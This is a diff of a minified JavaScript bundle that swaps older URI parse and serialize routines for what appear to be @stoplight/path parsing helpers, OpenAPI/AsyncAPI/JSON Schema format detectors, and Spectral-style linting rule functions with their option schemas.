function(e13, t11) { + return { protocol: "file", origin: null, absolute: true, ...e13, ...t11 }; + }, O7 = /^[A-Za-z]/, T6 = Z5([["A", "Z"], ["a", "z"]], false, false), A6 = ":", I6 = J5(":", false), E6 = function(e13) { + return { drive: e13.toLowerCase() + ":" }; + }, q5 = function() { + return { drive: null }; + }, k6 = function() { + return { drive: null }; + }, M6 = function(e13) { + return { protocol: null, origin: null, absolute: false, drive: null, ...e13 }; + }, R6 = function(e13) { + return { path: e13 }; + }, D6 = function(e13, t11) { + return [e13, ...t11]; + }, C6 = function(e13) { + return [e13]; + }, V5 = ".", N6 = J5(".", false), F6 = "/", U6 = J5("/", false), L6 = "\\", z6 = J5("\\", false), B6 = /^[^\/\\]/, Q5 = Z5(["/", "\\"], true, false), K5 = 0, H5 = [{ line: 1, column: 1 }], G5 = 0, W5 = []; + if ("startRule" in t10) { + if (!(t10.startRule in p8)) + throw new Error(`Can't start parsing from rule "` + t10.startRule + '".'); + c8 = p8[t10.startRule]; } - target.userinfo = base.userinfo; - target.host = base.host; - target.port = base.port; + function J5(e13, t11) { + return { type: "literal", text: e13, ignoreCase: t11 }; + } + function Z5(e13, t11, i10) { + return { type: "class", parts: e13, inverted: t11, ignoreCase: i10 }; + } + function Y6(t11) { + var i10, n10 = H5[t11]; + if (n10) + return n10; + for (i10 = t11 - 1; !H5[i10]; ) + i10--; + for (n10 = { line: (n10 = H5[i10]).line, column: n10.column }; i10 < t11; ) + 10 === e12.charCodeAt(i10) ? (n10.line++, n10.column = 1) : n10.column++, i10++; + return H5[t11] = n10, n10; + } + function X5(e13, t11) { + var i10 = Y6(e13), n10 = Y6(t11); + return { start: { offset: e13, line: i10.line, column: i10.column }, end: { offset: t11, line: n10.line, column: n10.column } }; + } + function ee4(e13) { + K5 < G5 || (K5 > G5 && (G5 = K5, W5 = []), W5.push(e13)); + } + function te4() { + var t11; + return (t11 = function() { + var e13, t12, i10, n10, r9; + return e13 = K5, (t12 = ie3()) !== a8 && (i10 = ne4()) !== a8 && (n10 = oe4()) !== a8 && (r9 = se4()) !== a8 ? e13 = t12 = d8(t12, i10, n10, r9) : (K5 = e13, e13 = a8), e13 === a8 && (e13 = K5, (t12 = ie3()) !== a8 && (i10 = ne4()) !== a8 && (n10 = function() { + var e14; + return (e14 = b9) !== a8 && (e14 = k6()), e14; + }()) !== a8 ? e13 = t12 = f9(t12, i10, n10) : (K5 = e13, e13 = a8)), e13; + }()) === a8 && (t11 = function() { + var t12, i10, n10, r9; + return t12 = K5, (i10 = function() { + var t13; + return e12.substr(K5, 7).toLowerCase() === $6 ? (t13 = e12.substr(K5, 7), K5 += 7) : (t13 = a8, ee4(x8)), t13 === a8 && (e12.substr(K5, 5).toLowerCase() === _6 ? (t13 = e12.substr(K5, 5), K5 += 5) : (t13 = a8, ee4(w6))), t13 !== a8 && (t13 = S6()), t13; + }()) !== a8 && (n10 = re4()) !== a8 && (r9 = se4()) !== a8 ? t12 = i10 = j7(i10, n10, r9) : (K5 = t12, t12 = a8), t12; + }()) === a8 && (t11 = function() { + var e13, t12, i10; + return e13 = K5, (t12 = re4()) !== a8 && (i10 = se4()) !== a8 ? e13 = t12 = P6(t12, i10) : (K5 = e13, e13 = a8), e13; + }()) === a8 && (t11 = function() { + var t12, i10; + return t12 = K5, function() { + var t13; + return (t13 = function() { + var t14, i11, n10; + return t14 = K5, 46 === e12.charCodeAt(K5) ? (i11 = V5, K5++) : (i11 = a8, ee4(N6)), i11 !== a8 && (n10 = pe4()) !== a8 ? t14 = i11 = [i11, n10] : (K5 = t14, t14 = a8), t14; + }()) === a8 && (t13 = b9), t13; + }() !== a8 && (i10 = se4()) !== a8 ? t12 = M6(i10) : (K5 = t12, t12 = a8), t12; + }()), t11; + } + function ie3() { + var t11, i10; + return e12.substr(K5, 7).toLowerCase() === l8 ? (i10 = e12.substr(K5, 7), K5 += 7) : (i10 = a8, ee4(u8)), i10 !== a8 && (i10 = m8()), (t11 = i10) === a8 && (t11 = function() { + var t12; + return e12.substr(K5, 8).toLowerCase() === h9 ? (t12 = e12.substr(K5, 8), K5 += 8) : (t12 = a8, ee4(y8)), t12 !== a8 && (t12 = g8()), t12; + }()), t11; + } + function ne4() { + var t11, i10, n10; + if (t11 = K5, i10 = [], (n10 = ce4()) !== a8) + for (; n10 !== a8; ) + i10.push(n10), n10 = ce4(); + else + i10 = a8; + return (t11 = i10 !== a8 ? e12.substring(t11, K5) : i10) === a8 && (t11 = K5, (i10 = b9) !== a8 && (i10 = v9()), t11 = i10), t11; + } + function re4() { + var t11; + return (t11 = function() { + var t12, i10, n10, r9; + return t12 = K5, (i10 = pe4()) === a8 && (i10 = null), i10 !== a8 ? (O7.test(e12.charAt(K5)) ? (n10 = e12.charAt(K5), K5++) : (n10 = a8, ee4(T6)), n10 !== a8 ? (58 === e12.charCodeAt(K5) ? (r9 = A6, K5++) : (r9 = a8, ee4(I6)), r9 !== a8 && pe4() !== a8 ? t12 = i10 = E6(n10) : (K5 = t12, t12 = a8)) : (K5 = t12, t12 = a8)) : (K5 = t12, t12 = a8), t12; + }()) === a8 && (t11 = oe4()), t11; + } + function oe4() { + var e13; + return (e13 = pe4()) !== a8 && (e13 = q5()), e13; + } + function se4() { + var e13; + return (e13 = function e14() { + var t11, i10, n10; + return t11 = K5, (i10 = ae4()) !== a8 && pe4() !== a8 && (n10 = e14()) !== a8 ? t11 = i10 = D6(i10, n10) : (K5 = t11, t11 = a8), t11 === a8 && (t11 = K5, (i10 = ae4()) !== a8 && (i10 = C6(i10)), t11 = i10), t11; + }()) !== a8 && (e13 = R6(e13)), e13; + } + function ae4() { + var t11, i10, n10; + if (t11 = K5, i10 = [], (n10 = ce4()) !== a8) + for (; n10 !== a8; ) + i10.push(n10), n10 = ce4(); + else + i10 = a8; + return (t11 = i10 !== a8 ? e12.substring(t11, K5) : i10) === a8 && (t11 = b9), t11; + } + function pe4() { + var t11; + return 47 === e12.charCodeAt(K5) ? (t11 = F6, K5++) : (t11 = a8, ee4(U6)), t11 === a8 && (92 === e12.charCodeAt(K5) ? (t11 = L6, K5++) : (t11 = a8, ee4(z6))), t11; + } + function ce4() { + var t11; + return B6.test(e12.charAt(K5)) ? (t11 = e12.charAt(K5), K5++) : (t11 = a8, ee4(Q5)), t11; + } + if ((i9 = c8()) !== a8 && K5 === e12.length) + return i9; + throw i9 !== a8 && K5 < e12.length && ee4({ type: "end" }), n9 = W5, o8 = G5 < e12.length ? e12.charAt(G5) : null, s8 = G5 < e12.length ? X5(G5, G5 + 1) : X5(G5, G5), new r8(r8.buildMessage(n9, o8), n9, o8, s8); + }; + function s7(e12) { + if ("string" != typeof e12) + throw new Error(`@stoplight/path: Cannot parse ${e12} because it is not a string`); + return o7(e12, {}); } - target.scheme = base.scheme; - } - target.fragment = relative2.fragment; - return target; - } - function equal2(uriA, uriB, options) { - if (typeof uriA === "string") { - uriA = unescape(uriA); - uriA = serialize(normalizeComponentEncoding(parse17(uriA, options), true), { ...options, skipEscape: true }); - } else if (typeof uriA === "object") { - uriA = serialize(normalizeComponentEncoding(uriA, true), { ...options, skipEscape: true }); - } - if (typeof uriB === "string") { - uriB = unescape(uriB); - uriB = serialize(normalizeComponentEncoding(parse17(uriB, options), true), { ...options, skipEscape: true }); - } else if (typeof uriB === "object") { - uriB = serialize(normalizeComponentEncoding(uriB, true), { ...options, skipEscape: true }); - } - return uriA.toLowerCase() === uriB.toLowerCase(); - } - function serialize(cmpts, opts) { - const components = { - host: cmpts.host, - scheme: cmpts.scheme, - userinfo: cmpts.userinfo, - port: cmpts.port, - path: cmpts.path, - query: cmpts.query, - nid: cmpts.nid, - nss: cmpts.nss, - uuid: cmpts.uuid, - fragment: cmpts.fragment, - reference: cmpts.reference, - resourceName: cmpts.resourceName, - secure: cmpts.secure, - error: "" - }; - const options = Object.assign({}, opts); - const uriTokens = []; - const schemeHandler = SCHEMES[(options.scheme || components.scheme || "").toLowerCase()]; - if (schemeHandler && schemeHandler.serialize) - schemeHandler.serialize(components, options); - if (components.path !== void 0) { - if (!options.skipEscape) { - components.path = escape(components.path); - if (components.scheme !== void 0) { - components.path = components.path.split("%3A").join(":"); + function a7(e12) { + return n8(p7(s7(e12))); + } + function p7(e12) { + let t10 = e12.path; + t10 = t10.filter((e13) => "" !== e13 && "." !== e13); + const i9 = []; + for (const n9 of t10) + ".." === n9 && i9.length && ".." !== i9[i9.length - 1] ? i9.pop() : ".." === n9 && e12.absolute || i9.push(n9); + return e12.path = i9, e12; + } + function c7(e12) { + let t10 = e12.lastIndexOf("."); + ".." === e12 && (t10 = -1), "." === e12 && (t10 = -1); + let i9 = e12, n9 = ""; + return t10 > 0 && (i9 = e12.slice(0, t10), n9 = e12.slice(t10)), { name: i9, ext: n9 }; + } + const d7 = (e12, t10) => { + const i9 = p7(s7(e12)).path.pop(); + if (!i9) + return ""; + const { name: n9, ext: r9 } = c7(i9); + return true === t10 || t10 === r9 ? n9 : `${n9}${r9}`; + }, f8 = (e12) => { + const t10 = p7(s7(e12)); + return t10.path.pop(), n8(p7(t10)); + }, l7 = (e12) => { + const t10 = p7(s7(e12)).path.pop(); + if (!t10) + return ""; + const { ext: i9 } = c7(t10); + return i9; + }; + function u7(e12) { + return s7(e12).absolute; + } + function m7(e12) { + const t10 = s7(e12); + return "http" === t10.protocol || "https" === t10.protocol; + } + const h8 = (...e12) => { + if (0 === e12.length) + return "."; + const t10 = e12.map(s7), i9 = Object.assign({}, t10[0]); + for (let n9 = 1; n9 < t10.length; n9++) { + const r9 = t10[n9]; + if (r9.absolute) + throw new Error('Cannot join an absolute path "' + e12[n9] + '" in the middle of other paths.'); + for (const e13 of r9.path) + i9.path.push(e13); } - } else { - components.path = unescape(components.path); + return n8(p7(i9)); + }; + function y7(e12, t10) { + const i9 = p7(s7(t10)); + if (!i9.absolute) + return n8(i9); + const r9 = p7(s7(e12)); + if (i9.origin !== r9.origin) + return n8(i9); + if (!r9.absolute) + return n8(i9); + if (r9.drive !== i9.drive) + return n8(i9); + const o8 = Math.min(r9.path.length, i9.path.length); + for (let e13 = 0; e13 < o8 && r9.path[0] === i9.path[0]; e13++) + r9.path.shift(), i9.path.shift(); + return i9.path.unshift(...r9.path.fill("..")), n8({ origin: null, drive: null, absolute: false, protocol: null, path: i9.path }); } - } - if (options.reference !== "suffix" && components.scheme) { - uriTokens.push(components.scheme, ":"); - } - const authority = recomposeAuthority(components); - if (authority !== void 0) { - if (options.reference !== "suffix") { - uriTokens.push("//"); + function g7(...e12) { + if (0 === e12.length) + return "."; + const t10 = p7(s7(e12[e12.length - 1])); + return t10.absolute ? n8(t10) : h8(...e12); } - uriTokens.push(authority); - if (components.path && components.path.charAt(0) !== "/") { - uriTokens.push("/"); + const b8 = "/", v8 = (e12) => null !== s7(e12).drive, j6 = (e12) => s7(e12).path.filter(Boolean).join("/"); + function $5(e12) { + const [t10, i9, n9, ...r9] = e12.split("/"), o8 = r9.length ? `/${r9.join("/")}` : void 0; + let s8, a8; + return o8 && (s8 = r9.find((e13) => e13.includes("."))) && (a8 = c7(s8).ext), { shortcode: t10, orgSlug: i9, projectSlug: n9, uri: o8, file: s8, ext: a8 }; } - } - if (components.path !== void 0) { - let s7 = components.path; - if (!options.absolutePath && (!schemeHandler || !schemeHandler.absolutePath)) { - s7 = removeDotSegments(s7); + function x7({ shortcode: e12, orgSlug: t10, projectSlug: i9, uri: n9 = "" }) { + return [e12, t10, i9, n9.replace(/^\//, "")].filter(Boolean).join("/"); } - if (authority === void 0) { - s7 = s7.replace(/^\/\//u, "/%2F"); + }, 99999: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }), t9.aas2_6 = t9.aas2_5 = t9.aas2_4 = t9.aas2_3 = t9.aas2_2 = t9.aas2_1 = t9.aas2_0 = t9.asyncapi2 = t9.asyncApi2 = t9.aas2 = void 0; + const n8 = i8(46734), r8 = /^2\.(0|[1-9][0-9]*)\.(0|[1-9][0-9]*)$/, o7 = /^2\.0(?:\.[0-9]*)?$/, s7 = /^2\.1(?:\.[0-9]*)?$/, a7 = /^2\.2(?:\.[0-9]*)?$/, p7 = /^2\.3(?:\.[0-9]*)?$/, c7 = /^2\.4(?:\.[0-9]*)?$/, d7 = /^2\.5(?:\.[0-9]*)?$/, f8 = /^2\.6(?:\.[0-9]*)?$/, l7 = (e12) => (0, n8.isPlainObject)(e12) && "asyncapi" in e12 && r8.test(String(e12.asyncapi)); + t9.aas2 = l7, t9.aas2.displayName = "AsyncAPI 2.x", t9.asyncApi2 = t9.aas2, t9.asyncapi2 = t9.aas2, t9.aas2_0 = (e12) => l7(e12) && o7.test(String(e12.asyncapi)), t9.aas2_0.displayName = "AsyncAPI 2.0.x", t9.aas2_1 = (e12) => l7(e12) && s7.test(String(e12.asyncapi)), t9.aas2_1.displayName = "AsyncAPI 2.1.x", t9.aas2_2 = (e12) => l7(e12) && a7.test(String(e12.asyncapi)), t9.aas2_2.displayName = "AsyncAPI 2.2.x", t9.aas2_3 = (e12) => l7(e12) && p7.test(String(e12.asyncapi)), t9.aas2_3.displayName = "AsyncAPI 2.3.x", t9.aas2_4 = (e12) => l7(e12) && c7.test(String(e12.asyncapi)), t9.aas2_4.displayName = "AsyncAPI 2.4.x", t9.aas2_5 = (e12) => l7(e12) && d7.test(String(e12.asyncapi)), t9.aas2_5.displayName = "AsyncAPI 2.5.x", t9.aas2_6 = (e12) => l7(e12) && f8.test(String(e12.asyncapi)), t9.aas2_6.displayName = "AsyncAPI 2.6.x"; + }, 67423: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(57494); + (0, n8.__exportStar)(i8(59171), t9), (0, n8.__exportStar)(i8(99999), t9), (0, n8.__exportStar)(i8(86202), t9); + }, 86202: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }), t9.detectDialect = t9.extractDraftVersion = t9.jsonSchemaDraft2020_12 = t9.jsonSchemaDraft2019_09 = t9.jsonSchemaDraft7 = t9.jsonSchemaDraft6 = t9.jsonSchemaDraft4 = t9.jsonSchemaLoose = t9.jsonSchema = void 0; + const n8 = i8(46734), r8 = ["array", "boolean", "integer", "null", "number", "object", "string"], o7 = ["allOf", "oneOf", "anyOf", "not", "if"], s7 = /^https?:\/\/json-schema.org\/(?:draft-0([467])|draft\/(20(?:19-09|20-12)))\/(?:hyper-)?schema#?$/, a7 = (e12) => function(e13) { + return (0, n8.isPlainObject)(e13) && "$schema" in e13 && "string" == typeof e13.$schema; + }(e12) && e12.$schema.includes("//json-schema.org/"); + function p7(e12, t10) { + const i9 = (t11) => a7(t11) && c7(t11.$schema) === e12; + return i9.displayName = t10, i9; } - uriTokens.push(s7); - } - if (components.query !== void 0) { - uriTokens.push("?", components.query); - } - if (components.fragment !== void 0) { - uriTokens.push("#", components.fragment); - } - return uriTokens.join(""); - } - var hexLookUp = Array.from({ length: 127 }, (_v, k6) => /[^!"$&'()*+,\-.;=_`a-z{}~]/u.test(String.fromCharCode(k6))); - function nonSimpleDomain(value2) { - let code = 0; - for (let i7 = 0, len = value2.length; i7 < len; ++i7) { - code = value2.charCodeAt(i7); - if (code > 126 || hexLookUp[code]) { - return true; + function c7(e12) { + var t10; + const i9 = s7.exec(e12); + return null !== i9 ? `draft${null !== (t10 = i9[1]) && void 0 !== t10 ? t10 : i9[2]}` : null; } - } - return false; - } - var URI_PARSE = /^(?:([^#/:?]+):)?(?:\/\/((?:([^#/?@]*)@)?(\[[^#/?\]]+\]|[^#/:?]*)(?::(\d*))?))?([^#?]*)(?:\?([^#]*))?(?:#((?:.|[\n\r])*))?/u; - function parse17(uri, opts) { - const options = Object.assign({}, opts); - const parsed = { - scheme: void 0, - userinfo: void 0, - host: "", - port: void 0, - path: "", - query: void 0, - fragment: void 0 - }; - const gotEncoding = uri.indexOf("%") !== -1; - let isIP = false; - if (options.reference === "suffix") - uri = (options.scheme ? options.scheme + ":" : "") + "//" + uri; - const matches2 = uri.match(URI_PARSE); - if (matches2) { - parsed.scheme = matches2[1]; - parsed.userinfo = matches2[3]; - parsed.host = matches2[4]; - parsed.port = parseInt(matches2[5], 10); - parsed.path = matches2[6] || ""; - parsed.query = matches2[7]; - parsed.fragment = matches2[8]; - if (isNaN(parsed.port)) { - parsed.port = matches2[5]; + t9.jsonSchema = a7, t9.jsonSchema.displayName = "JSON Schema", t9.jsonSchemaLoose = (e12) => (0, n8.isPlainObject)(e12) && (a7(e12) || ((e13) => "type" in e13 && ("string" == typeof e13.type ? r8.includes(e13.type) : Array.isArray(e13.type) && e13.type.every((e14) => r8.includes(e14))))(e12) || ((e13) => Array.isArray(e13.enum))(e12) || ((e13) => o7.some((t10) => t10 in e13 && "object" == typeof e13[t10] && null !== e13[t10]))(e12)), t9.jsonSchemaLoose.displayName = "JSON Schema (loose)", t9.jsonSchemaDraft4 = p7("draft4", "JSON Schema Draft 4"), t9.jsonSchemaDraft6 = p7("draft6", "JSON Schema Draft 6"), t9.jsonSchemaDraft7 = p7("draft7", "JSON Schema Draft 7"), t9.jsonSchemaDraft2019_09 = p7("draft2019-09", "JSON Schema Draft 2019-09"), t9.jsonSchemaDraft2020_12 = p7("draft2020-12", "JSON Schema Draft 2020-12"), t9.extractDraftVersion = c7, t9.detectDialect = function(e12) { + return a7(e12) ? c7(e12.$schema) : null; + }; + }, 59171: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }), t9.oas3_1 = t9.oas3_0 = t9.oas3 = t9.oas2 = void 0; + const n8 = i8(46734); + t9.oas2 = (e12) => (0, n8.isPlainObject)(e12) && "swagger" in e12 && 2 === parseInt(String(e12.swagger)), t9.oas2.displayName = "OpenAPI 2.0 (Swagger)"; + const r8 = (e12) => (0, n8.isPlainObject)(e12) && "openapi" in e12 && 3 === Number.parseInt(String(e12.openapi)); + t9.oas3 = r8, t9.oas3.displayName = "OpenAPI 3.x", t9.oas3_0 = (e12) => r8(e12) && /^3\.0(?:\.[0-9]*)?$/.test(String(e12.openapi)), t9.oas3_0.displayName = "OpenAPI 3.0.x", t9.oas3_1 = (e12) => r8(e12) && /^3\.1(?:\.[0-9]*)?$/.test(String(e12.openapi)), t9.oas3_1.displayName = "OpenAPI 3.1.x"; + }, 40456: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(45250), r8 = i8(23859), o7 = i8(95955), s7 = i8(9251), a7 = (e12, t10) => "number" != typeof e12 && !Number.isNaN(Number(e12)) || "number" != typeof t10 && Number.isNaN(Number(t10)) ? "string" != typeof e12 || "string" != typeof t10 ? 0 : e12.localeCompare(t10) : Math.min(1, Math.max(-1, Number(e12) - Number(t10))); + function p7(e12) { + return "string" == typeof e12 || "number" == typeof e12; } - if (parsed.host) { - const ipv4result = normalizeIPv4(parsed.host); - if (ipv4result.isIPV4 === false) { - const ipv6result = normalizeIPv6(ipv4result.host); - parsed.host = ipv6result.host.toLowerCase(); - isIP = ipv6result.isIPV6; - } else { - parsed.host = ipv4result.host; - isIP = true; + t9.default = (0, r8.createRulesetFunction)({ input: { type: ["object", "array"] }, options: s7.optionSchemas.alphabetical }, function(e12, t10, { path: i9, documentInventory: r9 }) { + var s8, c7; + let d7; + if (d7 = Array.isArray(e12) ? e12 : Object.keys(null !== (c7 = null === (s8 = r9.findAssociatedItemForPath(i9, true)) || void 0 === s8 ? void 0 : s8.document.trapAccess(e12)) && void 0 !== c7 ? c7 : e12), d7.length < 2) + return; + const f8 = null == t10 ? void 0 : t10.keyedBy; + if (void 0 !== f8) { + const e13 = []; + for (const t11 of d7) { + if (!(0, n8.isObject)(t11)) + return [{ message: '#{{print("property")}}must be an object' }]; + e13.push(t11[f8]); + } + d7 = e13; } + if (!d7.every(p7)) + return [{ message: '#{{print("property")}}must be one of the allowed types: number, string' }]; + const l7 = ((e13, t11) => { + for (let i10 = 0; i10 < e13.length - 1; i10 += 1) + if (t11(e13[i10], e13[i10 + 1]) >= 1) + return [i10, i10 + 1]; + return null; + })(d7, a7); + return null != l7 ? [{ ...void 0 === f8 ? { path: [...i9, Array.isArray(e12) ? l7[0] : d7[l7[0]]] } : null, message: void 0 !== f8 ? "properties must follow the alphabetical order" : `${(0, o7.printValue)(d7[l7[0]])} must be placed after ${(0, o7.printValue)(d7[l7[1]])}` }] : void 0; + }); + }, 97685: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }), t9.CasingType = void 0; + const n8 = i8(45250), r8 = i8(23859), o7 = i8(9251), s7 = i8(92805); + Object.defineProperty(t9, "CasingType", { enumerable: true, get: function() { + return s7.CasingType; + } }); + const a7 = { [s7.CasingType.flat]: "[a-z][a-z{__DIGITS__}]*", [s7.CasingType.camel]: "[a-z][a-z{__DIGITS__}]*(?:[A-Z{__DIGITS__}](?:[a-z{__DIGITS__}]+|$))*", [s7.CasingType.pascal]: "[A-Z][a-z{__DIGITS__}]*(?:[A-Z{__DIGITS__}](?:[a-z{__DIGITS__}]+|$))*", [s7.CasingType.kebab]: "[a-z][a-z{__DIGITS__}]*(?:-[a-z{__DIGITS__}]+)*", [s7.CasingType.cobol]: "[A-Z][A-Z{__DIGITS__}]*(?:-[A-Z{__DIGITS__}]+)*", [s7.CasingType.snake]: "[a-z][a-z{__DIGITS__}]*(?:_[a-z{__DIGITS__}]+)*", [s7.CasingType.macro]: "[A-Z][A-Z{__DIGITS__}]*(?:_[A-Z{__DIGITS__}]+)*" }; + t9.default = (0, r8.createRulesetFunction)({ input: { type: "string", minLength: 1 }, options: o7.optionSchemas.casing }, function(e12, t10) { + if (1 !== e12.length || void 0 === t10.separator || true !== t10.separator.allowLeading || e12 !== t10.separator.char) + return p7(a7[t10.type], t10).test(e12) ? void 0 : [{ message: `must be ${t10.type} case` }]; + }); + const p7 = (e12, t10) => { + const i9 = true !== t10.disallowDigits, r9 = e12.replace(/\{__DIGITS__\}/g, i9 ? "0-9" : ""); + if (void 0 === t10.separator) + return new RegExp(`^${r9}$`); + const o8 = `[${(0, n8.escapeRegExp)(t10.separator.char)}]`, s8 = true === t10.separator.allowLeading ? `${o8}?` : ""; + return new RegExp(`^${s8}${r9}(?:${o8}${r9})*$`); + }; + }, 31181: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(23859), r8 = i8(9251); + t9.default = (0, n8.createRulesetFunction)({ input: null, options: r8.optionSchemas.defined }, function(e12) { + if (void 0 === e12) + return [{ message: '#{{print("property")}}must be defined' }]; + }); + }, 18315: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(23859), r8 = i8(95955), o7 = i8(9251); + t9.default = (0, n8.createRulesetFunction)({ input: { type: ["string", "number", "null", "boolean"] }, options: o7.optionSchemas.enumeration }, function(e12, { values: t10 }) { + if (!t10.includes(e12)) + return [{ message: `#{{print("value")}} must be equal to one of the allowed values: ${t10.map(r8.printValue).join(", ")}` }]; + }); + }, 53547: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(23859), r8 = i8(9251); + t9.default = (0, n8.createRulesetFunction)({ input: null, options: r8.optionSchemas.falsy }, function(e12) { + if (e12) + return [{ message: '#{{print("property")}}must be falsy' }]; + }); + }, 69248: (e11, t9, i8) => { + "use strict"; + t9.fK = t9.vN = t9.wQ = t9.T1 = void 0; + const n8 = i8(69371), r8 = ((0, n8.__importDefault)(i8(40456)), (0, n8.__importDefault)(i8(97685)), (0, n8.__importDefault)(i8(31181)), (0, n8.__importDefault)(i8(18315)), (0, n8.__importDefault)(i8(53547)), (0, n8.__importDefault)(i8(54782)), (0, n8.__importDefault)(i8(41146))); + Object.defineProperty(t9, "T1", { enumerable: true, get: function() { + return r8.default; + } }); + const o7 = (0, n8.__importDefault)(i8(95818)); + Object.defineProperty(t9, "wQ", { enumerable: true, get: function() { + return o7.default; + } }); + const s7 = (0, n8.__importDefault)(i8(11214)); + Object.defineProperty(t9, "vN", { enumerable: true, get: function() { + return s7.default; + } }); + (0, n8.__importDefault)(i8(60928)); + const a7 = (0, n8.__importDefault)(i8(67884)); + Object.defineProperty(t9, "fK", { enumerable: true, get: function() { + return a7.default; + } }); + (0, n8.__importDefault)(i8(6073)); + }, 54782: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(23859), r8 = i8(95955), o7 = i8(46734), s7 = i8(9251); + t9.default = (0, n8.createRulesetFunction)({ input: { type: ["array", "object", "string", "number"] }, options: s7.optionSchemas.length }, function(e12, t10) { + let i9, n9; + return i9 = (0, o7.isPlainObject)(e12) ? Object.keys(e12).length : Array.isArray(e12) ? e12.length : "number" == typeof e12 ? e12 : e12.length, "min" in t10 && i9 < t10.min && (n9 = [{ message: `#{{print("property")}}must be longer than ${(0, r8.printValue)(t10.min)}` }]), "max" in t10 && i9 > t10.max && (null != n9 ? n9 : n9 = []).push({ message: `#{{print("property")}}must be shorter than ${(0, r8.printValue)(t10.max)}` }), n9; + }); + }, 9251: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }), t9.optionSchemas = void 0; + const n8 = i8(92805); + t9.optionSchemas = { alphabetical: { type: ["object", "null"], properties: { keyedBy: { type: "string", description: "The key to sort an object by." } }, additionalProperties: false, errorMessage: { type: '"alphabetical" function has invalid options specified. Example valid options: null (no options), { "keyedBy": "my-key" }' } }, casing: { required: ["type"], type: "object", properties: { type: { type: "string", enum: Object.values(n8.CasingType), errorMessage: `"casing" function and its "type" option accept the following values: ${Object.values(n8.CasingType).join(", ")}`, description: "The casing type to match against." }, disallowDigits: { type: "boolean", default: false, description: "If not true, digits are allowed." }, separator: { type: "object", required: ["char"], additionalProperties: false, properties: { char: { type: "string", maxLength: 1, errorMessage: '"casing" function and its "separator.char" option accepts only char, i.e. "I" or "/"', description: "The additional char to separate groups of words." }, allowLeading: { type: "boolean", description: "Can the group separator char be used at the first char?" } } } }, additionalProperties: false, errorMessage: { type: '"casing" function has invalid options specified. Example valid options: { "type": "camel" }, { "type": "pascal", "disallowDigits": true }' } }, defined: null, enumeration: { type: "object", additionalProperties: false, properties: { values: { type: "array", items: { type: ["string", "number", "null", "boolean"] }, errorMessage: '"enumeration" and its "values" option support only arrays of primitive values, i.e. ["Berlin", "London", "Paris"]', description: "An array of possible values." } }, required: ["values"], errorMessage: { type: '"enumeration" function has invalid options specified. Example valid options: { "values": ["Berlin", "London", "Paris"] }, { "values": [2, 3, 5, 8, 13, 21] }' } }, falsy: null, length: { type: "object", properties: { min: { type: "number", description: "The minimum length to match." }, max: { type: "number", description: "The maximum length to match." } }, minProperties: 1, additionalProperties: false, errorMessage: { type: '"length" function has invalid options specified. Example valid options: { "min": 2 }, { "max": 5 }, { "min": 0, "max": 10 }' } }, pattern: { type: "object", additionalProperties: false, properties: { match: { anyOf: [{ type: "string" }, { type: "object", properties: { exec: {}, test: {}, flags: { type: "string" } }, required: ["test", "flags"], "x-internal": true }], errorMessage: '"pattern" function and its "match" option must be string or RegExp instance', description: "If provided, value must match this regex." }, notMatch: { anyOf: [{ type: "string" }, { type: "object", properties: { exec: {}, test: {}, flags: { type: "string" } }, required: ["test", "flags"], "x-internal": true }], errorMessage: '"pattern" function and its "notMatch" option must be string or RegExp instance', description: "If provided, value must _not_ match this regex." } }, minProperties: 1, errorMessage: { type: '"pattern" function has invalid options specified. Example valid options: { "match": "^Stoplight" }, { "notMatch": "Swagger" }, { "match": "Stoplight", "notMatch": "Swagger" }', minProperties: '"pattern" function has invalid options specified. Example valid options: { "match": "^Stoplight" }, { "notMatch": "Swagger" }, { "match": "Stoplight", "notMatch": "Swagger" }' } }, truthy: null, undefined: null, schema: { additionalProperties: false, properties: { schema: { type: "object", description: "Any valid JSON Schema document." }, dialect: { enum: ["auto", "draft4", "draft6", "draft7", "draft2019-09", "draft2020-12"], default: "auto", description: "The JSON Schema draft used by function." }, allErrors: { type: "boolean", default: false, description: "Returns all errors when true; otherwise only returns the first error." }, prepareResults: { "x-internal": true } }, required: ["schema"], type: "object", errorMessage: { type: '"schema" function has invalid options specified. Example valid options: { "schema": { /* any JSON Schema can be defined here */ } , { "schema": { "type": "object" }, "dialect": "auto" }' } }, unreferencedReusableObject: { type: "object", properties: { reusableObjectsLocation: { type: "string", format: "json-pointer-uri-fragment", errorMessage: '"unreferencedReusableObject" and its "reusableObjectsLocation" option support only valid JSON Pointer fragments, i.e. "#", "#/foo", "#/paths/~1user"', description: "A local json pointer to the document member holding the reusable objects (eg. #/definitions for an OAS2 document, #/components/schemas for an OAS3 document)." } }, additionalProperties: false, required: ["reusableObjectsLocation"], errorMessage: { type: '"unreferencedReusableObject" function has invalid options specified. Example valid options: { "reusableObjectsLocation": "#/components/schemas" }, { "reusableObjectsLocation": "#/$defs" }', required: '"unreferencedReusableObject" function is missing "reusableObjectsLocation" option. Example valid options: { "reusableObjectsLocation": "#/components/schemas" }, { "reusableObjectsLocation": "#/$defs" }' } }, xor: { type: "object", properties: { properties: { type: "array", items: { type: "string" }, minItems: 2, errorMessage: '"xor" and its "properties" option require at least 2-item tuples, i.e. ["id", "name"]', description: "The properties to check." } }, additionalProperties: false, required: ["properties"], errorMessage: { type: '"xor" function has invalid options specified. Example valid options: { "properties": ["id", "name"] }, { "properties": ["country", "street"] }' } } }; + }, 41146: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }); + const n8 = i8(23859), r8 = i8(95955), o7 = i8(9251), s7 = /^\/(.+)\/([a-z]*)$/, a7 = /* @__PURE__ */ new Map(); + function p7(e12) { + const t10 = a7.get(e12); 